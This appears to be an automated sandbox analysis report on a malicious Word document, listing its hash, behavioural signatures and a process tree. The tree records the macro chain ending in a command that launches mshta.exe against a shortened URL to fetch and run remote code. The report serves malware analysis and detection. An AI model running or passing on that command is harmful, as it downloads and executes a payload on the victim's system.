Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    25/08/2020, 14:15

General

  • Target
    a464781b616c86bbd68dbf909826444f7fd6c6ae378caf074926df7aebc4e3a1.doc
  • Size 149KB
  • Sample200825-2d82bgan62
  • SHA256 a464781b616c86bbd68dbf909826444f7fd6c6ae378caf074926df7aebc4e3a1
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 3 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a464781b616c86bbd68dbf909826444f7fd6c6ae378caf074926df7aebc4e3a1.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1164
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" C:\Users\Public\ExLink.lnk
      2⤵
      • Process spawned unexpected child process
      PID:1508
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c start /b mshta.exe https://bit.ly/2SLj5Wn
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Windows\system32\mshta.exe
        mshta.exe https://bit.ly/2SLj5Wn
        3⤵
        • Blacklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        PID:1100

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1820-7-0x000007FEEF4F0000-0x000007FEEF76A000-memory.dmp